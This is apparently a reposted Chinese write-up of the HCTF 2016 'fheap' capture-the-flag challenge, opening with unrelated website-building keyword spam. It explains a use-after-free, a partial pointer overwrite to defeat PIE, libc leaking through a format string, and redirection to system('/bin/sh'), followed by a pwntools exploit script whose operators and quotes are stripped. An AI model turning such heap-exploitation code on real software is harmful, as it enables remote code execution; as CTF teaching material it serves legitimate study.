越南语网站怎么做,网站集约化建设调研报告,一个完整的网址包含哪些内容,网站建设推广注意什么题目链接 https://github.com/zh-explorer/hctf2016-fheap 题目分析 题目功能只有 malloc 和 free 的功能#xff0c;查看堆的布局#xff1a; 全局指针没有置空#xff0c;导致 uaf 和 double free 漏洞#xff0c;两种都可以做#xff0c;但是这题的重点是绕过 PIE。 do…题目链接 https://github.com/zh-explorer/hctf2016-fheap 题目分析 题目功能只有 malloc 和 free 的功能查看堆的布局 全局指针没有置空导致 uaf 和 double free 漏洞两种都可以做但是这题的重点是绕过 PIE。 double free 完了之后会导致下面的情况 这里需要注意一下 create 函数的逻辑如果输入的字符串的长度大于 15则重新 maloc 一块堆块用来存放字符串如图 但是这里还是选择使用 uaf 来做。 整体思路 malloc 两个堆块delete 两个堆块重新 malloc 一个堆块size 大于 24这样就 malloc 到原来的堆块的区域因为全局 flag 处还存放着原来堆块的指针所以存在 uaf 漏洞。 因为这里存在溢出可以覆盖 free_ptr 指针在开启 pie 的情况下覆盖最后一个字节使得 free_ptr 被覆盖成 puts 接着 delete 堆块时相当于输出 puts 函数的地址得到基地址。重复上一步接着覆盖 puts 指针为 printf 函数的指针构造一个格式化字符串漏洞输出得到libc地址重复上一步覆盖 printf 指针为 system 函数的指针布置好 /bin/sh接着 delete 就调用了 system 函数 格式化字符串那里存在问题无法正常找到 libc 的地址只能随便找到一个 ld 库的一个地址但是这里的偏移都是一样的。EXP #!/usr/bin/pythonfrom pwn import *
DEBUG 1if DEBUG:r process(./pwn-f)elf ELF(./pwn-f)libc ELF(/lib/x86_64-linux-gnu/libc.so.6)
else:r remote(127.0.0.1,4444)def create(size,content):r.recvuntil(3.quit)r.sendline(create )r.recvuntil(Pls give string size:)r.sendline(str(size))r.recvuntil(str:)r.sendline(str(content))def delete(idx):r.recvuntil(3.quit)r.sendline(delete )r.recvuntil(id:)r.sendline(str(idx))r.recvuntil(Are you sure?:)r.sendline(yes) create(10,aaa)
create(10,bbb)delete(1)
delete(0)create(25,f*24p8(0xE4))delete(1)
r.recvuntil(f*24)
puts_addr u64(r.recvline(\n)[:-1].ljust(8,\x00))base_addr puts_addr - 0xde4
success(base_addr : hex(base_addr))r.sendlineafter(Are you sure?:,H4lo)delete(0)printf_plt base_addr elf.plt[printf]payload %51$s^^.ljust(24,A)
payload p64(printf_plt)create(32,payload)delete(1)
addr u64(r.recv(6).ljust(8,\x00))success(hex(addr))success(libc_addr :hex(addr0xaf8-0x5d2000))
libc_addr addr0xaf8-0x5d2000 # 取到偏移delete(0)payload /bin/sh;.ljust(24,A)
payload p64(libc_addr libc.symbols[system])create(32,payload)r.interactive()参考 https://github.com/zh-explorer/hctf2016-fheap
https://www.cnblogs.com/shangye/p/6156350.html
https://www.xctf.org.cn/library/details/21e9451548a2b5d01dcf411e90ba968fc54ac9a5/
https://blog.csdn.net/qq_33528164/article/details/79515831 转载于:https://www.cnblogs.com/H4lo/p/10611990.html